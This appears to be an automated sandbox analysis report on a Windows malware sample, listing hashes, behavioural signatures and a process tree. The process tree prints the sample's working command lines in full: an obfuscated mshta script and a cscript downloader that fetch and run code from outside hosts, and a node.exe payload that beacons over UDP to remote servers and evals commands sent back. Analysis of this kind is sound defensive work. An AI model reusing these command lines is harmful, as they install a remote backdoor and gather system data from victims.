Analysis
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max time kernel
148s -
max time network
180s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
20-07-2021 11:53
Static task
static1
Behavioral task
behavioral1
Sample
af8ae6c1f2859cc139cd176a6656a855.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
af8ae6c1f2859cc139cd176a6656a855.exe
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Size
2KB
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MD5
af8ae6c1f2859cc139cd176a6656a855
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SHA1
161e2d577b418eaa94bf1959a634956b75d7922b
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SHA256
22934e006b3f1b8225c51a93ce0acaa1874c4f1dc895fa1664bdf16b0065d2e7
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SHA512
a80672ea1f49ebaeaf5b850377ee346e7953bf6379a79db91b826ba2249a66424b0f1be189351dc86088ff9efd72142a46f6d4bff2c5dc7271a4db22c10bcd1e
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 3 1844 mshta.exe 5 1572 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 988 node.exe -
Loads dropped DLL 1 IoCs
pid Process 572 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1372 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 108 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1080 ipconfig.exe 1652 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1532 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\cd462c517a0d4584:ads node.exe File created C:\ProgramData\DNTException\node.exe:afc7e3a92382f8119633bbd5bdaa555c node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 5 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 988 node.exe 988 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 108 tasklist.exe Token: SeIncreaseQuotaPrivilege 1492 wmic.exe Token: SeSecurityPrivilege 1492 wmic.exe Token: SeTakeOwnershipPrivilege 1492 wmic.exe Token: SeLoadDriverPrivilege 1492 wmic.exe Token: SeSystemProfilePrivilege 1492 wmic.exe Token: SeSystemtimePrivilege 1492 wmic.exe Token: SeProfSingleProcessPrivilege 1492 wmic.exe Token: SeIncBasePriorityPrivilege 1492 wmic.exe Token: SeCreatePagefilePrivilege 1492 wmic.exe Token: SeBackupPrivilege 1492 wmic.exe Token: SeRestorePrivilege 1492 wmic.exe Token: SeShutdownPrivilege 1492 wmic.exe Token: SeDebugPrivilege 1492 wmic.exe Token: SeSystemEnvironmentPrivilege 1492 wmic.exe Token: SeRemoteShutdownPrivilege 1492 wmic.exe Token: SeUndockPrivilege 1492 wmic.exe Token: SeManageVolumePrivilege 1492 wmic.exe Token: 33 1492 wmic.exe Token: 34 1492 wmic.exe Token: 35 1492 wmic.exe Token: SeIncreaseQuotaPrivilege 1492 wmic.exe Token: SeSecurityPrivilege 1492 wmic.exe Token: SeTakeOwnershipPrivilege 1492 wmic.exe Token: SeLoadDriverPrivilege 1492 wmic.exe Token: SeSystemProfilePrivilege 1492 wmic.exe Token: SeSystemtimePrivilege 1492 wmic.exe Token: SeProfSingleProcessPrivilege 1492 wmic.exe Token: SeIncBasePriorityPrivilege 1492 wmic.exe Token: SeCreatePagefilePrivilege 1492 wmic.exe Token: SeBackupPrivilege 1492 wmic.exe Token: SeRestorePrivilege 1492 wmic.exe Token: SeShutdownPrivilege 1492 wmic.exe Token: SeDebugPrivilege 1492 wmic.exe Token: SeSystemEnvironmentPrivilege 1492 wmic.exe Token: SeRemoteShutdownPrivilege 1492 wmic.exe Token: SeUndockPrivilege 1492 wmic.exe Token: SeManageVolumePrivilege 1492 wmic.exe Token: 33 1492 wmic.exe Token: 34 1492 wmic.exe Token: 35 1492 wmic.exe Token: SeDebugPrivilege 1652 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1856 wrote to memory of 1844 1856 af8ae6c1f2859cc139cd176a6656a855.exe 13 PID 1856 wrote to memory of 1844 1856 af8ae6c1f2859cc139cd176a6656a855.exe 13 PID 1856 wrote to memory of 1844 1856 af8ae6c1f2859cc139cd176a6656a855.exe 13 PID 1856 wrote to memory of 1844 1856 af8ae6c1f2859cc139cd176a6656a855.exe 13 PID 1844 wrote to memory of 1364 1844 mshta.exe 30 PID 1844 wrote to memory of 1364 1844 mshta.exe 30 PID 1844 wrote to memory of 1364 1844 mshta.exe 30 PID 1844 wrote to memory of 1364 1844 mshta.exe 30 PID 1364 wrote to memory of 1572 1364 cmd.exe 32 PID 1364 wrote to memory of 1572 1364 cmd.exe 32 PID 1364 wrote to memory of 1572 1364 cmd.exe 32 PID 1364 wrote to memory of 1572 1364 cmd.exe 32 PID 1364 wrote to memory of 920 1364 cmd.exe 33 PID 1364 wrote to memory of 920 1364 cmd.exe 33 PID 1364 wrote to memory of 920 1364 cmd.exe 33 PID 1364 wrote to memory of 920 1364 cmd.exe 33 PID 1364 wrote to memory of 572 1364 cmd.exe 34 PID 1364 wrote to memory of 572 1364 cmd.exe 34 PID 1364 wrote to memory of 572 1364 cmd.exe 34 PID 1364 wrote to memory of 572 1364 cmd.exe 34 PID 572 wrote to memory of 988 572 cscript.exe 35 PID 572 wrote to memory of 988 572 cscript.exe 35 PID 572 wrote to memory of 988 572 cscript.exe 35 PID 572 wrote to memory of 988 572 cscript.exe 35 PID 988 wrote to memory of 1384 988 node.exe 37 PID 988 wrote to memory of 1384 988 node.exe 37 PID 988 wrote to memory of 1384 988 node.exe 37 PID 988 wrote to memory of 1384 988 node.exe 37 PID 988 wrote to memory of 1336 988 node.exe 38 PID 988 wrote to memory of 1336 988 node.exe 38 PID 988 wrote to memory of 1336 988 node.exe 38 PID 988 wrote to memory of 1336 988 node.exe 38 PID 988 wrote to memory of 1372 988 node.exe 39 PID 988 wrote to memory of 1372 988 node.exe 39 PID 988 wrote to memory of 1372 988 node.exe 39 PID 988 wrote to memory of 1372 988 node.exe 39 PID 988 wrote to memory of 1560 988 node.exe 40 PID 988 wrote to memory of 1560 988 node.exe 40 PID 988 wrote to memory of 1560 988 node.exe 40 PID 988 wrote to memory of 1560 988 node.exe 40 PID 988 wrote to memory of 240 988 node.exe 41 PID 988 wrote to memory of 240 988 node.exe 41 PID 988 wrote to memory of 240 988 node.exe 41 PID 988 wrote to memory of 240 988 node.exe 41 PID 988 wrote to memory of 108 988 node.exe 42 PID 988 wrote to memory of 108 988 node.exe 42 PID 988 wrote to memory of 108 988 node.exe 42 PID 988 wrote to memory of 108 988 node.exe 42 PID 988 wrote to memory of 1492 988 node.exe 44 PID 988 wrote to memory of 1492 988 node.exe 44 PID 988 wrote to memory of 1492 988 node.exe 44 PID 988 wrote to memory of 1492 988 node.exe 44 PID 988 wrote to memory of 1080 988 node.exe 45 PID 988 wrote to memory of 1080 988 node.exe 45 PID 988 wrote to memory of 1080 988 node.exe 45 PID 988 wrote to memory of 1080 988 node.exe 45 PID 988 wrote to memory of 1252 988 node.exe 46 PID 988 wrote to memory of 1252 988 node.exe 46 PID 988 wrote to memory of 1252 988 node.exe 46 PID 988 wrote to memory of 1252 988 node.exe 46 PID 988 wrote to memory of 1652 988 node.exe 47 PID 988 wrote to memory of 1652 988 node.exe 47 PID 988 wrote to memory of 1652 988 node.exe 47 PID 988 wrote to memory of 1652 988 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1560 attrib.exe 240 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\af8ae6c1f2859cc139cd176a6656a855.exe"C:\Users\Admin\AppData\Local\Temp\af8ae6c1f2859cc139cd176a6656a855.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();47;y=unescape('%317%31%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E1%388').split('~');172;try{x='WinHttp';134;x=new ActiveXObject(x+'.'+x+'Request.5.1');197;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);62;x.send();226;y='ipt.S';39;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);72;}catch(e){};20;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1844 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626782020818.txt & cscript /nologo /e:jscript get1626782020818.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2a9efc7b1%26b%3D42cd5d36" node.cab & expand node.cab node.exe & del get1626782020818.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626782020818.txt & cscript /nologo /e:jscript get1626782020818.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27a9efc7b1%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626782020818.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1364 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626782020818.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2a9efc7b1%26b%3D42cd5d36" node.cab4⤵
- Blocklisted process makes network request
PID:1572
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:920
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626782020818.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27a9efc7b1%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:572 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27a9efc7b1%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:988 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1384
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1336
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1372
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1560
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:240
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:108
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1492
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1080
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1252
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1652
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1532
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